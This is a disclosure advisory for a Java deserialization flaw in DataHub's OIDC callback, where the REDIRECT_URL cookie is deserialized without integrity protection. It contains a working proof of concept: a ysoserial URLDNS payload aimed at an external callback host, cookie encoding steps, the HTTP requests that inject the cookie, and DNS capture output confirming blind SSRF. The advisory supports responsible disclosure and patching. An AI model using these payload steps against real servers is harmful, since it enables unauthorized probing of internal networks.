DataHub OIDC REDIRECT_URL Cookie Deserialization Vulnerability

Product Version: DataHub v1.5.0.2rc1 (specifically datahub-frontend-react)
Severity: Medium
CWE: CWE-502 (Deserialization of Untrusted Data)
Vulnerable Endpoint: GET /callback/oidc
Author: Brett Gervasoni
Date: 2026-04-14
DataHub Advisory: https://github.com/datahub-project/datahub/security/advisories/GHSA-rjf9-p49v-42c4

The DataHub frontend deserializes attacker-controlled Java objects from the REDIRECT_URL HTTP cookie during the OIDC callback flow, with no integrity protection (no HMAC, no encryption). Confirmed exploitable for blind SSRF via DNS callback using the URLDNS gadget chain.

Impact:
RCE is often possible with these types of vulnerabilities, however I was unable to find a gadget to achieve code execution. At best I could get Blind SSRF that meant an attacker could blindly send requests to internal hosts as the server and perform portscanning efforts.

Timeline:
2026-04-14 - Reported to DataHub
2026-04-16 - DataHub team acknowledged the bug and began developing a fix
2026-04-30 - Patch released

Required Permissions


Vulnerable Code

Cookie set with Java-serialized FoundAction object:

// datahub-frontend/app/controllers/AuthenticationController.java:376-392
FoundAction foundAction = new FoundAction(BasePathUtils.addBasePath(redirectPath, this.basePath));
Http.CookieBuilder redirectCookieBuilder = Http.Cookie.builder(
    REDIRECT_URL_COOKIE_NAME, SerializationUtils.serializeFoundAction(foundAction));
redirectCookieBuilder.withSecure(true);
redirectCookieBuilder.withHttpOnly(true);

Serialization uses JavaSerializer — full Java object serialization with gzip + base64:

// datahub-frontend/app/utils/SerializationUtils.java:17-26
public static String serializeFoundAction(@Nonnull final FoundAction foundAction) {
    byte[] javaSerBytes = JAVA_SERIALIZER.serializeToBytes(foundAction);
    return Base64.getEncoder().encodeToString(compressBytes(javaSerBytes));
}

public static FoundAction deserializeFoundAction(@Nonnull final String serialized) {
    return (FoundAction) JAVA_SERIALIZER.deserializeFromBytes(     // SINK
        uncompressBytes(Base64.getDecoder().decode(serialized)));
}

Cookie read from the HTTP request and deserialized — cast to FoundAction happens after readObject():

// datahub-frontend/app/auth/sso/oidc/OidcCallbackLogic.java:219-230
private void setContextRedirectUrl(CallContext ctx) {
    WebContext context = ctx.webContext();
    context.getRequestCookies().stream()
        .filter(cookie -> REDIRECT_URL_COOKIE_NAME.equals(cookie.getName()))
        .map(Cookie::getValue)
        .map(SerializationUtils::deserializeFoundAction)   // attacker-controlled cookie deserialized here
        .findFirst()
        .ifPresent(foundAction -> sessionStore.set(context, Pac4jConstants.REQUESTED_URL, foundAction));
}

Deserialization occurs after successful OIDC token exchange:

// datahub-frontend/app/auth/sso/oidc/OidcCallbackLogic.java:184-207
Credentials credentials = foundClient.getCredentials(ctx).orElse(null);
credentials = foundClient.validateCredentials(ctx, credentials).orElse(null);  // token exchange must succeed
// ...
setContextRedirectUrl(ctx);   // deserialization called here

Pac4j 6.1.2's RestrictedObjectInputStream allowlist permits java.* and javax.* (entire JDK). resolveProxyClass() always throws (blocks Proxy-based chains). This allowlist is quite extensive. Even so, I was unable to find a gadget that would lead to RCE.

Proof of Concept — DNS Callback (URLDNS)

Generate the payload:

/opt/homebrew/opt/openjdk@11/bin/java -jar ysoserial-all.jar URLDNS "http://datahub-deser-poc.exfilserver.com" > /tmp/urldns.bin

# gzip, and base64 encode it
python3 -c "
import gzip, base64
with open('/tmp/urldns.bin','rb') as f: raw = f.read()
print(base64.b64encode(gzip.compress(raw)).decode())
" > /tmp/payload.txt

Initiate the OIDC flow to get a valid PLAY_SESSION and authorization code:

GET /authenticate?protocol=oidc HTTP/1.1
Host: TARGET:9002
HTTP/1.1 302 Found
Location: https://IDP/realms/master/protocol/openid-connect/auth?...&redirect_uri=https://TARGET:9002/callback/oidc&state=XXXXX
Set-Cookie: PLAY_SESSION=<session>; ...
Set-Cookie: REDIRECT_URL=<legitimate_value>; ...

Authenticate at the IdP normally. Intercept the callback redirect and replace the REDIRECT_URL cookie:

GET /callback/oidc?state=XXXXX&code=VALID_AUTH_CODE&session_state=XXXXX HTTP/1.1
Host: TARGET:9002
Cookie: PLAY_SESSION=<session>; REDIRECT_URL=H4sIAAAAAAAA/1vzloG1uIhBMCuxLFGvtCQzR88jsTjDN7GA...
HTTP/1.1 303 See Other
Location: /login?error_msg=...

Reviewing the docker container logs confirms the deserialisation has completed prior to casting:

docker logs datahub-frontend-quickstart-1

...
2026-04-14 04:01:07,614 [application-akka.actor.default-dispatcher-11] ERROR controllers.SsoCallbackController - Caught exception while attempting to handle SSO callback! It's likely that SSO integration is mis-configured.
java.util.concurrent.CompletionException: java.lang.ClassCastException: class java.util.HashMap cannot be cast to class org.pac4j.core.exception.http.FoundAction (java.util.HashMap is in module java.base of loader 'bootstrap'; org.pac4j.core.exception.http.FoundAction is in unnamed module of loader 'app')
	...
Caused by: java.lang.ClassCastException: class java.util.HashMap cannot be cast to class org.pac4j.core.exception.http.FoundAction (java.util.HashMap is in module java.base of loader 'bootstrap'; org.pac4j.core.exception.http.FoundAction is in unnamed module of loader 'app')
	at utils.SerializationUtils.deserializeFoundAction(SerializationUtils.java:24)

Start tcpdump to capture DNS callbacks before triggering the exploit:

sudo tcpdump -i any -n 'udp port 53'

DNS callback captured via tcpdump on the server:

...
06:17:10.199203 lo    In  IP 127.0.0.1.47752 > 127.0.0.53.53: 64574+ AAAA? datahub-deser-poc.exfilserver.com. (51)
06:17:10.199334 lo    In  IP 127.0.0.1.37216 > 127.0.0.53.53: 64223+ A? datahub-deser-poc.exfilserver.com. (51)
06:17:10.199435 ens5  Out IP 10.0.1.76.41713 > 10.0.0.2.53: 44261+ [1au] AAAA? datahub-deser-poc.exfilserver.com. (62)
06:17:10.199547 ens5  Out IP 10.0.1.76.44367 > 10.0.0.2.53: 50428+ [1au] A? datahub-deser-poc.exfilserver.com. (62)
06:17:10.203715 ens5  Out IP 10.0.1.76.41713 > 10.0.0.2.53: 44261+ AAAA? datahub-deser-poc.exfilserver.com. (51)
06:17:10.203767 ens5  Out IP 10.0.1.76.44367 > 10.0.0.2.53: 50428+ A? datahub-deser-poc.exfilserver.com. (51)
...